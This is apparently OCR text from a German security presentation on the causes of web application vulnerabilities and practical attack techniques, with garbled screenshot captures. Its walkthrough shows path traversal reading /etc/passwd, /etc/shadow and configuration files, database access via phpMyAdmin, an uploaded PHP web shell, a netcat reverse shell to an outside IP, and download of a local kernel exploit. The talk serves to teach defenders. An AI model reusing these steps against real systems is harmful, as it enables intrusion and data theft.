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Schwachstellen: die Ursachen

Design

VEr7\\ X
Eingabe- und Ausgabefilterung 2 §

Zugriffsschutz / Rollenkonzept

Design- / Logikfehler




Schwachstellen: die Ursachen

Implementierung
Eingabe- und Ausgabefilterung @
Fehlender / unzureichender Zugriffsschutz ,‘ Z 4
Backdoors

Debuggingfunktionen®




@ Mozilla Firefox

Eile Edit ‘“iew History Bookmarks Toaols  Help

{;3 - - IKQJ E http: f P e (U5 logon, do?debugsxml=true "' B | "
(@ heise IPwe Portal E Rootsecure [J ha.ckers & SF Blogs l'ii Pete | ) Blogs |~ ) Lisken I]'I] il E SANS fe Slashdot % ZDMet | | inc ﬂ. THC |I1 Metcraft E packetstorm ||

http:/ /wwwill....?debugrml=true G Apache Tamcatia.0.14 - Errar report

<encoding kev=I50-5859-1</encoding key>
<!--Parameters—->
<debugxml=true</debugxinl>

<frequest>

{'.n' — — gk af b b o o o o SESSIDN PARAMETERS fffff*f*f*__.}
— <sesslon=

<jsessiond=25 /26 DCSBEESOCIFY269B462 164046 E 7 <fjsess1omud >
<cdLangunage>D</cdLanguage>
<listLabellNextGeneration=1</listLabellNextGeneration>

— <loginSessionTracker=

de [l famework w ActiveldQLogmSessionTracker@23b5c3

<logmSessionTracker>
zcdlnl=jdbcoraclethun:i@10.25. 1. 123: 152 Tu3pro=/c dl1]=
<withoutAutomaticalS ave>false</withoutAutomaticalSave=>
<locale>de ¥ </locale>
<langnage>de<langnage=
<comntry=2C{ </ country=
<withAjax>false <fwithAjax>
<cdNumberInhMonth> 1 </c dNumberInhIonth=
<session_flag=true<fsession_flag-
<¢om.cappuccinonet. soutsex. domaimparams_flag=>trie</com.cappuccinonet. strutsex. domaimp arams_flag>
<rwp_IN_P=true<fiwp_N_P>
zrootpath>/optiakarta-tomcatwebappsus/<rootpath>
<dellll u3.objectLockManager=de [Jllu3 viutl ObjectLockManager@4bd 58f</ d il v3.objectLockManager=
<locale=de</locale>
<dataVersion=4328</dataVersion=

— <PERMISSION MANAGER-=

Jellllsermanagement. vl Uik ermissionblanagement(@ 1 c5bE694d

</PERMISSION NMANAGFER=>

Done fpache | Proxy: Helga




Schwachstellen: die Ursachen

Deployment / Konfiguration

Directory Indexing /

Verzeichnismapping und -berechtigungen (z.B. WEB-INF/)*
Systembenutzerkonten

HTTP vs. HTTPS, SSL-Chiffren

Error Handling

Debuggingfunktionalitaten

e ;




@ Mozilla Firefox
File Edit ‘Wiew History EBookmarks Tools  Help

- - "“lll"‘ | http: ) v e WEE-TNFlib) 1-portal. jar |T| [i] |g

= =1

COpening 1-portal.jar

You have chosen ko open

@ 1-portal.jar
which is a: Executable Jar File
From: hekp: e K=

~ What should Firefox do with this File?

() Open with | Jawal T Platfarm SE binary (deFaulty [:*}

[ ] Do this automatically For Files like this Fram now an,

(04 ] ’ Cancel

Done fpache | F



Schwachstellen: die Ursachen

Betrieb

Patchmanagement

Einspielen von Anderungen
Benutzerverwaltung / Passwortvergabe
Testbenutzer

ungeschutzte Admintools™

e ;



Fil=  Edit

Wiew  Hiskary  Boaokmarks

Toals  Help

5

@ o @

hittpsf e [l de i uploadiupload. html

r

b

G-

() heise ﬂ IPwi Portal E Rootsecure m ha.ckers &5 SF Blogs .& Pete | ) Blogs | Listen . il 0¥ samMs  fy Slashdot '-’-}i ZDMet || inc ﬂ. THCZ " Metcrafk E packets

phpinfol)

e 1 http:/ /wwwil....oad /upload.html 3 |

File name:

test

File content:

This is atest content

| Send File |

Done

Apache

Prozy: Helga

. O




L

& phpinfo() - Mozilla Firefox

Fil= Edit ‘iew History  Bookmarks Tools  Help

~

- (= i htkp: f v [IlB= phpinfo. php v| |G|'

b, " -
(7 heise IPvE Portal @ Rootsecure ha.ckers & SF Blogs ﬁ Pete | Blogs |7 Listen El] il DT Ei saMS fe Slashdot % ZOMet || inc B2 THC M Netcraft packetsh

phpinfo() IE_-; http:,l',l'www-de,l'uplnad,l'uplnad bkl

Done

LF o Sy | N ST Y L S e L B

HTTP_ACCEPT_LANGUAGE

en-us, en; g=0.4

HTTP_ACCEPT_ENCODING | ozip, deflate
HTTP_ACCEPT_CHARSET |I50-8855-1, uft-8; g=0.7, * g=0.7
HTTP_KEEP_ALIVE 300

HTTP_COOKIE

JSESSIONID=14T9FAZEC 4CEATDY0TEEAI49TET CEAF

HTTP_VIA

1.1 helga localdomainlocal: 31 28 {(squidf2 6. STABLES)

HTTP_X_FORWARDED_FOR

127.0.0.1

HTTP_CACHE_CONTROL

fnax-age=259200

HTTP_CONNECTION

keep-alive

PATH

fusrkerberosizshin
fusrkerherosthin
fustlocalfbin

fhin

fusrikin

fus1 1 REfin
homerpzeidlerbin

SERVER_SIGNATURE ho valle
SERVER_SOFTWARE Apache

SERVER_NAME v o=

SERVER_ADDR 10.25.0.25

SERVER_PORT an

REMOTE_ADDR 62.26.179.66
DOCUMENT_ROOT foptiapache-2.2 Bihtdocs
SERVER_ADMIN ro ot a0 3 localdomain
SCRIPT_FILENAME foptfapache-2 .2 Bihtdocsfphpinto.php
REMOTE_PORT 52678

GATEWAY INTERFACE CGl

#pache

rroxy: Helox N ©

)




G
————
w Mozilla Firefox
Eile Edit Wiew Hiskory  Bookmarks  Tools  Help

@ v - - @ m http: vl deuploadiupload. html - F'l ' Google

() heise ﬁ IPwi Portal E Rooksecure E ha.ckers & SF Blogs ﬁ Pete | ) Blogs | ) Listen . rilv0rrn sans fe Slashdat ";'.l ZDMet | | inc ﬂ. THC “ Mekcraft E packe
phpinfol) '3 | hl:tp:,.-’,-“wwv.....uad,-“upluad.hl:ml ﬁ ]

File name; iche-2 2 Gfhtdocsiwelt bd File content: | Hallo Welt [ Send File ]

| Done apache  Proo: Helga T {
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Angriffstechniken aus der Praxis

Kombinationen aus (unkritischen) Schwachstellen
Intern verwendete Anwendungen

Unsichere Testsysteme

“Unkritische” Anwendungen

Widersprichliche Konfigurationsvorgaben




Angriffstechniken aus der Praxis

Kombinationen aus (unkritischen)
Schwachstellen




Kombinationen aus Schwachstellen (Beispiel 1)




Kombinationen aus Schwachstellen (Beispiel 1)

Anzeige des Quellcodes moglich
Logdateien zugreifbar
Passworter in Logfiles
Admin-Zugang Uber das Internet

Passwort in Dokumentation




Kombinationen aus Schwachstellen (Beispiel 2)




Kombinationen aus Schwachstellen (Beispiel 2)

SQL Injection (nicht direkt ausnutzbar)

luckenhafte Firewallkonfiguration




Angriffstechniken aus der Praxis

Intern verwendete Portale




Intern verwendete Portale (1

£ 403 Forbidden - Mozilla Firefox

File Edit Wiew History Bookmarks Tools Help
€« =2 + & x o b, corm/ o - -
@ heise E Fioaotzecure 52 Opzec E Camallwnage B3 Gaolem D notzozecure B theinvizsiblethings D hideawmay m ha.ckers . doxpara . Pete £ SF Blogs ﬂ Explaits »
-
Forbidden
Tou don't have permission to access / on this server.
Apacke Server at wyww. k2= Fort 443
Done Apache ) Prow: None ]




Intern verwendete Portale (2)

z.B. fUr interne Mitarbeiter oder Geschaftspartner
URLs sind nicht allgemein bekannt

oft unzureichend geschutzt

dirb_output_demo.log




Angriffstechniken aus der Praxis

Unsichere Testsysteme




Unsichere Testsysteme

Testsysteme finden

- typische Subdomains
* www.example.com - test.example.com, wwwtest.example.com
» shop.example.com - shop-test.example.com

= benachbarte IP-Adressen
- www.example.com 10.10.10.73 -> .72, .71, .74, ...

Schwachstellen finden

= z.B. durch Directory Indexing
- “versteckte” Parameter

= Zugriff auf Source Code

gefundene Schwachstellen auf Produktivsystem austesten

hceloc 2



Angriffstechniken aus der Praxis

“Unkritische” Anwendungen




“Unkritische” Anwendungen

niedrigeres Sicherheitsniveau fur unkritische Anwendung
<-> hohes Niveau fur kritische Anwendung

unkritische Anwendung mit Schwachstellen
Datenbank und/oder OS gemeinsam verwendet

Zugriff auf Daten der kritischen Anwendung moglich




Angriffstechniken aus der Praxis

Widerspruchliche
Konfigurationsvorgaben




Widerspruchliche Konfigurationsvorgaben

SAP R/3 mit Oracle Datenbank

Beispiel REMOTE_OS_AUTHENT




SAP spezifische Konfigurationen

OS User: <SID>ADM, ORA<SID> (Unix, Linux)
<SID>ADM, SAPSERVICE<SID> (Windows)

View dba users:

USERNAME USER_ID PASSWORD
OPSSP40ADM 23 EXTERNAL
OPSSORAP40 24 EXTERNAL

REMOTE_OS_AUTHENT

e 29



REMOTE_OS_AUTHENT Oracle DB vs SAP

Oracle Security Administrator’s Guide:

Caution: Setting REMOTE _OS AUTHENT to TRUE can
cause a security exposure, because ...

SAP Sicherheitsleitfaden:

Andern Sie den ORACLE-Parameter

REMOTE _OS AUTHENT nicht auf FALSE. Der OPS$-
Mechanismus mu#B in der Lage sein, von entfernten Clients
aus zu arbeiten, z. B. missen sich SAP-System-
Workprozesse an den Anwendungsservern als Benutzer
OPS$<sid>adm anmelden kénnen. Lassen Sie den
Parameter daher auf TRUE stehen.

M 30



SAP Anmeldeprozess

here: SID = P40

4. decrypt
password 1. P40ADM connects to DB SAPUSER
without a password SAPP40 | A34DB42
//‘
/ T
ey / 2.
SAP R/3
o § encrypted password Oracle
Application Server e

5. SAPP40 / <password>




REMOTE_OS AUTHENT Oracle DB vs SAP




Patchen von Oracle Datenbanken fur SAP

Oracle Critical Patch Updates (CPUs)

= vierteljahrlich

= enthalten nicht nur Sicherheitsupdates
Konflikte mit SAP Patchen

- SAP empfiehlt oft CPUs nicht einzuspielen

- z.B. fur Oracle 10.2.0.2: CPUs von Oktober 2006 bis
Juli 2007 waren nicht freigeben

Oracle Datenbank nicht gepatcht




Wie kommen Schwachstellen zustande?

Angriffstechniken aus der Praxis

root-Access in 20 Schritten




2 Mozilla Firefox = (] E
Eile Edit \Wiew Hiskory  Bookmarks  Tools  Help
E - c ol |_L] hittp: /v, example. com/dindes. php?PATH= Sfile=. /.20 feted pagswd T "-'l - _,.i. 4

|_L| http://www_exampl_/__/_ _/letc/pazswd

atx2525:Batch jobs daesmondvar'spoolfatjobsibinbash b 1 Dbindbindbin'bash daemonss 2 Daemonysbin/bibash fpxd049FTF account/srv

fftp o bin'bash games 121000 Games accountfrar/zamesbinbash gdmz 50106 Goome Display Manager dasmonvarhibl/gdmbinfalse

haldaemonzz 101:102:Tser for haldaemonyvarrunthal fbinfalse lpacd 7 Printing daemonifvar’spoollpdibinfbash mals s 12 Maler daemoniwarspool
fchentmeouene fbinfalse messagebus 100:101:Tser for D-BUS franmmd/dbus ibmffalze mysglz 60104 WMy 5L database admmfrarlibimysalibinbash
nobodyz 623465535 nob o dyiranibinobody b ash ntpx74: 102 TP daemondvanlibintp fbinftalse postherz21:51.FPosthx Daemondvarispoolipostix
fbinftalze rootz 0.0 rootroot/bin'bash sshdx 7165 55H daemon fvarlibisshdibanfdalse suse-ncczx 102102 Novell Customer Center Ueerfranflibi ¥as>T2
fsuse-nco-fakehome/binbash wwarunz 205 WWW daemon apachedvarlibfwwrsrmnobinalse webmastersp 1000100 ebmasterhome/webmaster:
fbiwbash manx 1362 Manual pages wewerdvar/cache/mans/bin'bash news:xm%: 15 News systemietcinewsibinbash uvucp 10: 14 Unee-to- T CoPy

syster/etoucpbinbash

Done Apaches2 23 [Li.. PHP/AZ10 Prosw Bub 19203210




5 Hozilla Firefox

Eile Edit \Wiew Hiskory  Bookmarks  Tools  Help
' - L [ hitp: A example. com/indes php ?PATH= thile=../.. /004 Jetcishadow SNGRANl 2 NS

|j| http://www_exampl_/__/_ _/letctzhadow - -

Done Apaches2 23 [Li.. PHP/AZ10 Prosw Bub 19203210




) Mozilla Firefox s M G
- WL hitpe A fvme example. comdindes. php PATH= _ _ bfle= /.40 00 tetedapache2 hitpd.conf v | 2§ 2
|j http: / fwww_exampl_acheZ/httpd.conf = - -
:.A.
# # fetcfapache2ihttp d. conf # # This 15 the matn Apache server confipuration file. Tt contains the # configpuration directives that give the server its il

File Edit Miew Help

[0}

Include fetofapache2/default-server.cont

# Another way to include your own files

#

# The file helow is generated from fetc/sysconfiglapaches,

# include arbhitrary files as named in LPACHE CONF TNCLUDE FILES and
# LPACHE CONF INCLUDE DIRS

Include feto/apacheZ/sysconfig.ds/inelude . cont

HH## Virtual server configuration HASESHEEHEREEREHREHEREHERAEHBRAEERRERERHERES

VirtusalHo=st: If wou want to maintain multiple domains/hosthames on your
wmachine wou can setup VirtualHost containers for them. Most configurations
use only name-hased wvirtual hosts so the server doesn't need to worry sbout
IP addresses. Thi=s iz indicated by the asterisks in the directives below.

<URL :http: ffhttpd. apache.orgfdocs-2. 2 frhostsf>
for further details bhefore you Lry To Setup virtual hosts.

You may use the command line option '-3' to werify wyour wirtual host

H
#
#
#
#
#
# Pleaze see the documentation at
#
#
H
H
# configuration.

#

I

nelude fetcfapacheZ/vhosts.df . .conf

# Note: instead of adding your own configuration here, consider

# adding it in vour own file (Jfetc/apacheZz/httpd.conf.local)
o LR R ol e I T e I o — T S T 11— B o % i o] nDATHRE TORIFR TRICT TThHE FTT BFE 4+

Line 202, Col 1




5 Hozilla Firefox

File Edit \Wiew Hiskory  Bookmarks  Tools

Help
- e ol |j| hittp: /v, example. com/dindes. php?PATH=

thile=../. /.02 4 Fear v /index. php SNGRANl 2 NS
|j| http://www_examp_ar/www/index php -

Datet nicht gefunden: /00 varferareniindez php

Cone

dpache/2.2.3 L. PHP/AZI0 Proge: Burb 19203210




% Mozilla Firefox s E

File Edit \Wiew Hiskory  Bookmarks  Tools  Help
E - ]| http A example. com/indes. php ?PATH= thle=../. /.00 4 Avar/ibdlocatedd AL B

I_-] http://www_exampl_/varflibflocatedb

LOCATEN2 @@L md @ @uin® il h Ol @ static ®pwk b asename O Ly at O 0herp €m0 (OO v @ 9w o, O
i@%sh%date@ JOOeallo O OrO 9. sg%ns domaﬁmmne%@maﬁmame%mpkeys%e cho@ d‘@@‘g’ep%ject@j}fﬁls = 4
SCONS ole@rep%ﬂlupw.ls er@jrgawk_‘@ etheycode swrepw.lessfstyp e@nﬂp%ﬂp%ho smamewinitvi@cons‘@p@

g@bkb drate@_m-:- de@bﬂlﬂsh@ﬁ’h@ o adkeys@mﬂnap@bgger@m@b O o €8 staﬁc%aﬂ@p g cm%kdﬁ‘@

10 d%emp%ore@unt@p omﬁl;iv%netstat@is domaﬁmame%@p enﬂ%pid@f@ng@ 6®j}s$faddtable®
gﬁttableWSttiptaEIEMabla@bwd%Escan-sc:si-bus. R atiees ol dn’@ypm@ys ast @M o s dev @ @ e JOHionr @B

keycode O s O Vrmetamo de@bh@cﬁwc o118 Glef@n&keyﬁle EpMGMﬁM@%ﬁE%ﬁ

csh @O smtfgwﬁuchwme%mount@name@imde_start@ op@ﬂle Ep%@fﬂ%p@})yp domainnarme @@zt
@0 ot @B ackup_mbr@mt@jrc onfig-2 6. 16.46-0.1 2-smpwgm‘b$f devin::e.map@. c}ldﬁéeEfs_stage 1_5Wat_stage 1_5$

fz stage 1_5%5@9660_5t&ge 1_5Mjfs_stage 1_5%111&1111.15&. old@iljnjx_stage 1_5%&5 erfs_stage 1_5Mstage 162

B old®iufs2_stage] 5€€vstafs stace] 5O€fs stagel S®initrd@-2 616 46-0.12-smp ®imessace @ O symsets-2. 6. 16 46-0.12-

strp. tar ez @ Mtypes-2. 6.16.46-0.12-smp. ez Wvers-2 6.16.46-0.12-smp. ez ¥y System map-2.6.16.46-0. 12 smp @ @vmlinuz-2 6. 16 46-0.12-
stp. gz @O -2 6,16 46-0.12-smp €3 dev @ M/ udev @ b @810k @hda @M s da @l @sda 1 O

29900009 class@mput@input() @eventﬂ‘@‘ 1 D@Evenﬂ@m@usﬂ]%Q @Eventl%nm e%sc@demce-mapp er @il
hw_randﬂm%usb_demce@usbdev1. 192 1@?‘@}33. 1994 1@E‘QEfaﬂed@fclass@net@sitﬂ%uevent_seqnmn%blog@
ootsplash @ @us €l s 900 196001 9298001 OE 7902980019919 800 19 H 29 cdrecorder @B om®ponsole @il re b device -
mapper @ ilisk OB by id®liedd-int13 devB0 O part 1 OH 99295909 Wioc:i 3600138603625 1000cce612cc0dce 1270 & part 195
2G93V QOO0 1O D Tiliny O ip ath @ Mip ci-0000:00: 1F 1-ide-0:0€ 206 0-505i-0:2:0: 0@ part 1 €6

299299 OO OTLLON1723f309-2ad0-439c-8810-cabe2f70b0LE 6 7774425-539c-49d2-8692- 157745575 3ac 6w d @4 0@
dwﬂl%mitor@yhda@p et&@wmg@_random@bi?c—ﬂ@nitcﬂ@put@fby—id@

fusb-Justcom Te chnc}logy_USE_KW_Ewitch—event—kbd@—mous e%@use@xpathéfp ci-0000:00:1d. 1-usb-0:1:1.0-event-kb 4@ 1 -event-
rnouse @ Mrmons e O Tevent (O 1 99 2€01i - S ouseD@iﬂﬁnem@sgﬁblogﬁ op 0
1992060200190 :90 7910 per Ol ontr o Wiicelo OO 0 1 O
1991960.06:00.90006:9060,990:060:90,,010619060.900:00.90:9060.0079060:06:0,20]
19919190 90:9007069099:., V19O O P i ot @l p OO S G SRl 09l
19900:990.1960:900.90607900:900:060. 900,96 9690609000, )0]
199:606:90.190:9060.90607906:9060:9060.00,96.06.06.060,00[

B W T N W N R N W R W R o R N R R R N TR N R NP R N R N N NP N [T
£ ¥

Done Apaches2 23 [Li. PHP/AZ10 Prosw Bub 19203210

E

W




'I_P Jamachantal: ~fdemoflocate

fetefapachez fs=s1.
fetefapachezfssl.
fetofapache/sal.
Jeto/apachez/ssl.
fetofapachezfssl.
fetefapachez fs=s1.
fetefapachezfssl.
fetofapaches/sal.
feto/apachez/ssl.
Jetofapachez/a=sl.
fetefapachez fs=s1.
fetefapachezfssl.
fetofapaches/sal.
feto/apachez/ssl.
fetofapachez/=sl.
fetofapachezfssl.

crt/es52dd1d0. 0

ort/ Makefile
ort/RELDME .. CRT
Crt/Ssrver.crt
ort/anakeonil-ca-dsa.crt
crt/anakeonil-ca-rsa.crt
ort/enakeoil-dsa.crt
crt/snakeoil-rsa.crt
osSr

car/RELDME . C3R

oar/ 2erver.car

key

prm

prm/RELDME . PRHM

prm/ snakeoil-ca-dsa. prm
priod snakeoil-dsa. pri

fetefapachez fsyscontfig. d
Fetefapachei/sysconfig.d/global. cont
Fetcsapachez/sysconfig. d/include. cont
feccfapachez/sysconfig. df loadmodule .. cont
fetefapachez fuid. conf

fetefapaches fvhosts.d

Ffetefapaches /vhosts.d/vhost-ssl. template
Jete/apachez /vhosts. d/vhost . temp late
fetc/apachei/vhosts.d/yastZ vhosts.cont

fetefapachez fvhosts.

fetofapparmor
Jeto/apparmor . d

Jetofapparmor . dfabstractions

d/ load hefore wyast.conf




#* jan@chantal: ~/demoflocate - ] @

fervi/backup/preliminary/mysql/information schema-20090910-1344.2qgl.9x #
ferv/hackup/preliminary/mysql/information schema-20091030-1115.5gl.9z
ferv/backup/preliminary/wysqgl/information schema-20091130-1200.5ql.gz
ferv/backup/preliminary/wysql/information schema-20091202-0511.5ql.gz
ferv/backup/preliminary/wysql/information schems-20100104-1541.5ql.gz
farvibhackup/ preliminary/mysgl/ jporm-200581012-1204 . sgl. g2

farvwibackup/ preliminary/mysgl/ jporm—-20081027-1130.sgl. g
ferv/backup/preliminary/mysql/ jporm—20031103-11535.sql.gxs
Ferv/backup/preliminary/wysql/ jporm—20031113-0136.sql.gxe

Jarv/backup/ preliminary/myaql/ iporm-200581120-1308 . 80l . g=

farvibackup/ preliminary/mysgl/ jporm—-20090518-0954 . sgl.g=

farvwibackup/ preliminary/mysgl/ jporm—20020604-1012 . sgl.ge
ferv/backup/preliminary/mysql/ jpocrm—20090724-0021.sql.gxs
Ferv/backup/preliminary/wysql/ jporm—20090722-0323 . 2ql.ge

fearvwibackup/ preliminary/mysgl/ jporwm—-20020803-2140.sqgl . g=

farvwibackupd preliminary/mysgl/ Jporwn—-20090818-1830.sqgl. g2

farvibackup/ preliminary/mysgl/ jporm—-20090824-203 1. sgl. g
ferv/backup/preliminary/mysql/ jpocrm—20090908-2107.sql.gs
Ferv/backup/preliminary/wysql/ jporm—20090210-1344 . =ql.ge

fearvwibackup/ preliminary/mysgl/ jporm—-20021030-1115.=sqgl . g=

farvwibackupd preliminary/mysgl/ Jporwn—-200921130-1200.sqgl. g2

farvibackup/ preliminary/mysgl/ jporm—-20091202-0511.sgl. g
ferv/backup/preliminary/mysql/ jporm—20100104-1541 . sql.gs
Ferv/backup/preliminary/wysql/mysgl-20071220-1102 . =ql.ge
Ferv/backup/preliminary/wysql/mysgl-20030114-1827..2ql.ge

farvwibackupd preliminary/mysgl/oysgl-20080227-1316.sqgl. 0=

farvibackup/ preliminary/mysgl/oysgl-20080313-1620.sgl. g2
ferv/backup/preliminary/mysql/mysgl-20030410-2203 .sql.gs
Ferv/backup/preliminary/wysql/mysgl-20030513-0135.2ql.ge

A -




,l_f'a janachantal: ~/demoflocate

Janfchantal:~/demo/ locate] grep "config. inc™ SEv.tHt
farwiwmwfvhosts pdf libe/ mysogly .php
farvwiwuwfvhosts/ examp led -/ .php
ferv/wuw/vhosts/example/-/1s .php
dearviwuw/vhostsfexamp le/ ine lude/ .php
farv/www/vhosts/ example/include/is .php
ferv/wuw/vhosts/exawple/include alt/ .php
ferv/www/vhosts/exawple/include alt/is .php
ferv/wuw/vhosts/example dev/ include/ .php
ferv/wuw/vhosts/example dev/include/is .php
ferv/wiw/vhosts/exawple old/ inc lude/ .php
ferv/www/vhosts exawple old/include/is .php
Farv/wnw/vhosta example?/ ine lude/ .php
fervi/wnw/vhosts/examplei/include/is .php

Janlchantal: ~/demo/ locate I




£ Mozilla Firefox ) (]

- e ol |_L] http: £ A example. comdndes. php?PATH= o Shile=. /40 44 feredvwendvhostedipomdhttpdocsdoo 57 - "-"l* ;

|j http://www_exampl_pdocs/config.php -+

false, 'adtun export only' == false, 'cache dir' == 'cache/, 'calculate response time' == true, 'common ml dir' == ", 'create default user' == false,
1 e | S 1 I -1 5 - & - ---‘. | I - _ 1 1 — 1 1 ey 1 1 g 1 I I = -“:m I=::=_ arraFl:lY_m_dl =::=_ |2006_12_23|,
2 source of: http:fiwww .example.comfindex.php?PATH=toolboxfstatic&CHD=toolbox_ergebnisafile=..0..1..0... = [ E P== 2301202008 'Y m d ==

Fle Edit Wew Help host name' == localhost!,

array | [

"Y—m—d' => 'Z2006-12-23"', 1
'm—d-Y¥' => '12-23-Z200&8"',

“ponm', 'db type' == 'mysdl, ),
‘portability’ == 0, 'ssl' == false,

'd-m-Y' =» '23-12-2006', (| array (AUD' == array ( ‘name' ==
'Yiw/d' = ‘2006712723, =|'=="BEL', 'symbol' == 'E¥f', ), 'GBF'
‘wf /Y =x 122372006, frdian Dollars', isod217' == 'CAD",

V¥ =» '23/12/2006",

:} 1 |=:=_| 1 1 |=:=_
Y.m.d' =» '2006.12.230, array [ 'name Euro', 1s0d217

'daw. T o=r '23.12.2006', £, 3, TR == array { 'name' == Tndian
'm.Ad. Y =x> '12.23.20068°0 I;.jr', 'symb.;}]_' == 'ﬁp@'?], 'YEH' == array
by g, '1e0d 217 == WM, "symbol' ==

'datef' =» 'm/d/T',
'dbhoonfig! ==

'name' == 'Swiss Franc', 1504217 ==

array | D' == array { 'name' == "5 Dollars',
‘dh_host_name' => 'localhost', o' 'defanlt currency significant digits'
'dbh host instance' => 'ZQLEXPREIS!', efault etnadl charset' == 'TITE-&'
o 1 e — E
age' => 'ge_ge,
'db_name' => 'jpcorm', e' == Home',
'db_type' =» 'mysgl', t permssions' == array ('dir_mode’
! éh g _ g' == true, 'default swap last wewed'
! configoption' => : s
= ::?
array | dr_1s_ad1m.?1 false,
'persistent' =» true, mplate vaniable chooser' == false,
'autofres' =» false, |default delete attachtnents' == true,
"debug' => 0, ‘emnall xss' ==
'geqname format' =x '%=2 3edq’', o

'portability' =» 0O, I].Z-CI?EEC‘1DmbWIECI?CEGUDIJIHb3Jt_

's31' =» false, Alze, 'mmport dir' == 'cachefmoportd”,

‘eollation' => 'utfs_general ci', v fustom_version' == 1, 'js_lang_version' [y

< : 2 M
Line 33, Lol 1 (Li. PHP/5.210 ProwsBub 19203210




,l_f'a janachantal: ~/demoflocate

"imysgl™ sSrv.Lxt | grep —-i phpmyadimin
-http.cont

.Bnec

Janfchantal:~/demo/ locate] grep
farwiwmwdvhosts/adwinhost fysgl/ contr ik packaging/ Fedoras
farviwuwdvhosts// adminhost /fmysgl/ contribf packaging/ Fedoras
Farvwfwuwfvhosts/ adminhost fmysgl/ .cs3.php

Janlchantal: ~/demos locate I




o phpHMyAdimin 2.11.0 - Hozilla Firefox

File Edit \Wiew Hiskory  Bookmarks  Tools  Help
- e Ll | paea | httpcdadminhost. exarnple. comdmysgl! S{ T "-'l = G~

|_-b| http: A dwia example.  tpdocs/config. php sua PhpMypAdmin 2.11.0 ﬁ - -

php
Welcome to phpMyAdmin 2.11.0

Language @
English {utf-8) -

—Log in
Username:

Passworid:

(i) Cookies must be enabled past this point.

Done gpachef2. 23 L. PHPMA.Z10  Prosy Burb




5 | phpHyAdmin 2.11.0 - Hozilla Firefox

File Edit \Wiew Hiskory  Bookmarks  Tools  Help
= O o hitp: //adminhost, example. comdmyzgl/index. php ?db=toolsktoken=304ab33bdi40ab4 ad1 e 3aebb1 adch392 + ~| |- ' r _;.
. ~| | sELECT* A
w.llyj_lj;-hdfﬂ'jfi FROM “fe_users’
LIMIT O, 30
S EN ===

Database

1 (&0) - 30 row(s) starting from record #

tool[ ] (BO) in | harizontal » | mode and repeat headers after [100 cells

[ Edit | [ Explain SQL ][ Create PHF Code ] [ Refresh |

oort by key:  Maone o
B be_groups - - . . .
B be_sessions i T b uid pid tstamp username password usergroup disable starttime endtime
]

B be_users al -1 1 7 1180531802 ; [BLOE -1 o 0 0

B cache_extensions
B cache_hash B

B cache_imagezizes D ﬁ,’* }( 2 7 1181658015 it [EiLDEI 1 0 0 0
B cache_mdaparams Ei]

B cache_pages

B cache_pagezection
B cache_typoitemp_log
B fe_groups 1 &+ = = 7 118543955k Hag o [BLOE -1 a a o
B fe_groups_language overlay E|] I
B fe_seszionz

B fe_seszion_data
B fe_users ml i 4 £ 11884587571 i [BLOE - 1 1 0 o .
B pages E] 1
B pages_language_overlay
% ii!i:ﬁiﬂﬁiffmnes 0 # & & 7 1186487811 1 [BLOB - 1 0 0 0
B static_currencies El]

B static_languages
B static_taxes > :
B i ki O # X 6 7 1191938292 0 I[EEE;LDB 1 0 0 0
B static_territories

B static_tzconfig_help

B sy=_be shodouts

B =sy=_domain

gz:z—:g‘;f;m 1+ Check All/ Uncheck All With sefected: X i

B =v=_language a0 rowls) starting from recard # 0
Wt

B =ys_lockedrecords ] : : ; g 2t
£ > A »

Dane fpache/223[Li. PHP/S.210 ProscBub [

m—rii— | —

=

e




) Inhatte und Bestelldaten - Mozilla Firefox

Datei Eearbeiten  Ansicht  Chronik.  Lesezeichen  Egtras  Hilfe
- c i, |j http:fd - . ‘efindex. php?id=67Eno_cache=Tit_cdr _pil[mediall]=38b_cdr ~ 7 _pil[code]=SIMNGLE i -‘l o J
|j Inhalte und Bestelldaten -+ -
&0t diesem Dwelseitigem Infoflyer konnen »1e neben [ extblocken auch das Imagebild [
auswihlen oder alternativ ein eigenes Bild einfligen. T
Umzug quer: Seite 1
Ortswechsel ab 25.11.2006
Bild
F
Bild ranuell ID:\.Dcu:umenls and Settin|  Durchsuchen,.
Umzug quer: Seite 2
Anschrift
Mo,-Fr, | 9.00 Uhr - 18.00 Uhr
Sd, | 9.00 Uhr - 13.00 Uhr
Angaben zum Druckauftrag
Auflage (Stek.) 100w
weiter zur Yorschau »
[v]
Fertig -&'
M 47



%) Mozilla Firefox

Datei Eearbeiten  Ansicht  Chronik.  Lesezeichen  Egtras  Hilfe

- @ L L hta _ . defindex php?id=674na_cache=18tx_cdi _pil[medialD]=314tx_cd _pil[code]=5INGLE IRaRalr: |2 £
|j http: £ __pil[code]=SINGLE - -
FDFlb exception occurred: [2434] - Tnkenown image type i file Yarwiwwrwnivhosts: vuploadsipicsiuser_test2010 php'

Fertig -*‘

M 48



% Chantals Shell 1.0 - Mozilla Firefox

File Edit Wiew History  Bookmarks Tools  Help

E - G v L hittpcd mample. comduploads/picsfuser_2010.php

uid=30(warun) gid=8{waw) groups=3 ()

Done L. v Bulb none



9 chantals Shell 1.0 - Mozilla Firefox

iég * C X 4 || | http:, wample. com/uploads/

zer_2010.php

|.fnc - fbinsbash 81.209.145.173 20

@' janachantal: ~/demo

Janfchantal:~/ demo] sudo no -1 -n -w —-p S0
listening on [any] S0
connect to [81.202.145.173] from (UNENOWHN) [
id
Mid=30 (wwwrun) gid=S(www] groups=35 [(www)

] 35531




'I_P Janachantal: ~fdemo

uname —-a
Linux NN :.c.16.46-0.12-5mp| #1 SMP Thu May 17 14:00:09 UTC 2007 x86 64 x86 64 x86 64 GNU/Linux
wyet http://wuw.zecurityfocus.com/data/vulnerabilities/exploits/enlightenment-021009. tgs
——10:07:35-- http:/fwwy.securityfocus. comdata/vulnerabilities/exploits/enlightenment—-021009 .ty
=> ‘enlightenwment-031009,tg=z’
Fesolwving wuw.securityfocus.com. ... 205.206.231.12, Z205.2068.231.13, 205.2068.231.15
Connecting to www.sSecurityfocus.com|205.206.231.12| :50... connected.
HTTF request =sent, awaliting response... 301 Moved Permanently
Location: http://downloads.securityfocus. com/vulnerabilities/exploitas/enlightemnent-091009 . tge [following]
——10:07:39-- http://dovnloads.securityfocus. com/vulnerabilities/exploits/enlightenment-021009 . tgze
=> ‘enlightenwment-0391009,tg='
Fesolwving downloads.securityfocus.com. .. Z205.206.231.23
Connecting to downloads.securityfocus.com|Z205.2068.231.23 :80... connected.
HTTF request sent, awaliting response... 200 0K
Length: 12,933 (13K) [application/=-gzip]

100% 4z .77 KB/=

10:07:392 (42.77 EB/=3) - "enlightenment-091009.tgs' saved [12933/12933]

b=




1? janiachantal: ~fdemo

